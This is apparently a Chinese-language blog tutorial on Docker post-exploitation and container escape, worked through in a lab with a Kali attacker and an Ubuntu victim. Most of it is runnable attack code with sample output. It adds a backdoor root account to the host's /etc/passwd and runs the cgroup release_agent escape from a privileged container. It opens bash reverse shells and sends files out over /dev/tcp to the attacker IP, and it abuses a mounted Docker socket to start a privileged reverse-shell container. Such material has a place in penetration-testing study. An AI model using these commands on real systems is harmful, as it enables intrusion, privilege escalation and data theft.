最近常常遇到 Docker 相關的機器, Docker 機器裡面通常都很乾淨,缺少很多可以用的小工具,所以後滲透比起普通 Linux 機器有一點點點的不同 QQ,本文會用幾個小例子簡介一下 Docker 的後滲透技巧以及逃脫方法
以下範例的機器 IP:
- Kali (Attacker) : 192.168.40.135
- Ubuntu (Victim) : 192.168.40.136
Mount Host Root Directory
在這邊的例子中,我們假設我們已經擁有了 Container 中的 Root 權限,且嘗試想試著逃離 Docker
這邊使用的 Docker 環境是這樣叫起來的
sudo docker run -v /:/host -it ubuntu bash
觀察電腦中的 Process
假設我們把 host 的根目錄 mount 在 container 的 /host,我們可以透過寫一個簡單的小腳本來觀察 host 機器上執行了哪些的 process
#!/bin/bash
for dir_name in $(ls -d /host/proc/*/ | grep -E '\/host\/proc\/[0-9]+\/'); do
echo $dir_name;
cat $dir_name/status 2>/dev/null | head -n 1;
cat $dir_name/cmdline 2>/dev/null ; echo -ne '\n';
echo '============================'
done
透過觀察 Host 的 Process,我們可以設法找出電腦中可以利用的 Process,範例輸出:可以觀察到電腦有開 SSH
============================
/host/proc/9450/
Name: sshd
sshd: steven@pts/2
============================
/host/proc/9451/
Name: bash
-bash
修改檔案 / 新增使用者
在前面的例子中,我們知道電腦裡面有開 ssh 的服務,所以可以嘗試利用 ssh 來達成 Docker 的逃脫。
這邊要注意一個點是,預設的 Linux 的 SSH Server 是不允許 Root 帳號登入的。
相關的設定檔會在 /etc/ssh/sshd_config
#PermitRootLogin prohibit-password
所以最安全的方法是先建立一個普通使用者,之後再來提權。
echo 'meow:yeDupmFJ8ut/w:9999:9999:meow:/:/bin/bash' >> /host/etc/passwd
上述之 hash 解碼後,密碼會是 meow
接下來就能開心地使用 meow 帳號登入 SSH 了!!
再來在 Container 中把 UID 與 GID 修改成 0
sed -i -e 's/9999/0/g' /host/etc/passwd
接下來 ssh 的 client 上面
meow@ubuntu:/$ su meow
Password:
root@ubuntu:/# whoami
root
就 root 了
當然我們也可以試著修改使用者的 .bashrc 或是使用 cronjob / 開機自動啟動等方式等待使用者戳進來時,回傳 reverse shell
Privileged Container
假設 Docker 是被 Privileged 方式叫起來的話,可以參考 Felix Wilhelm 在 Twitter 的 Exploit
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
但我自己測試,這個 Exploit 會出現一點點小 Bug,主要是 d 變數會噴出兩行東東,所以可以用 head 來再次限制一下,完整的腳本如下。
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1) | head -n1`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
把檔案存成 meow.sh
再來 chmod +x meow.sh
,就能快速地跳脫 Container,撿一個 Reverse Shell 了!
./meow.sh "bash -c 'bash -i >& /dev/tcp/192.168.40.135/443 0>&1'"
網路篇
克難的發送 HTTP Request
如果我們希望可以從 Container 中發送簡單的 HTTP Request 到我們的 Server,可以使用 Bash 中的語法糖達成
假設我們的 Attacker 機器開了一個 http server,或是一個 nc 的 listener 在 8000 port
我們可以從 Container 發送
echo -ne 'GET / HTTP/1.1 \r\nHOST:meow \r\n\r\n' > /dev/tcp/192.168.40.135/8000
這樣在遠端就有辦法收到 HTTP Request
克難的傳輸檔案
如同前面的方法,假設我們想要把檔案給傳輸出來,但是電腦中沒有 curl / wget 的話,也可以利用 /dev/tcp
方法
範例輸入
cat /host/etc/passwd > /dev/tcp/192.168.40.135/8000
範例輸出
nc -nlvp 8000
listening on [any] 8000 ...
connect to [192.168.40.135] from (UNKNOWN) [192.168.40.136] 41948
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
克難的接收檔案
能下載檔案,當然也能接收檔案,假設我們想要把檔案掛上攻擊機,可以用 nc 來幫助
nc -q 5 -nlvp 8000 < linpeas.sh
而接收端,則可以用
cat < /dev/tcp/192.168.40.135/8000 > linpeas.sh
Mount Docker Socket
以下的範例會假設 Container 中,有把 HOST 的 Docker Socket 給掛進來,當然,如果 mount 整個根目錄的話,也會有 docker socket 可以用。
sudo docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu bash
這種狀況下,我們可以透過 curl 來發 unix 的 Socket ,直接與 Docker Socket 進行溝通,建立一個 Privileged Container。
電腦裡沒有 curl 的話,可以去撿這種 Static 的 Curl , 然後用上述 nc 的方法把檔案帶進去。
# host
nc -q 5 -nlvp 8000 < curl-amd64
# victim
cat < /dev/tcp/192.168.40.135/8000 > curl
chmod +x ./curl
接下來準備一個創建 Container 用的檔案
echo '{"Image":"ubuntu","Cmd":["bash","-c","bash -i >& /dev/tcp/192.168.40.135/443 0>&1"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true, "Privileged": true}' > container.json
透過以下指令來建立 Container
./curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
會收到類似一個以下的 Response
{"Id":"a18bb3e3210eefb937bc89835c6d5b9bd1a859e24ce6576791f72469ec172a07","Warnings":[]}
這邊我們要記一下 ID 的開頭,然後用以下指令跑起來,(Attacker 先準備好用 nc 收 Shell)
./curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/a18b/start
執行下去後,我們應該就能撿到一個 Privileged Container 的 Shell 了!
再來使用上述的 Privileged Container Escape 方式寫檔,就能順利爬出來,而且直接撿到 Root 權限了!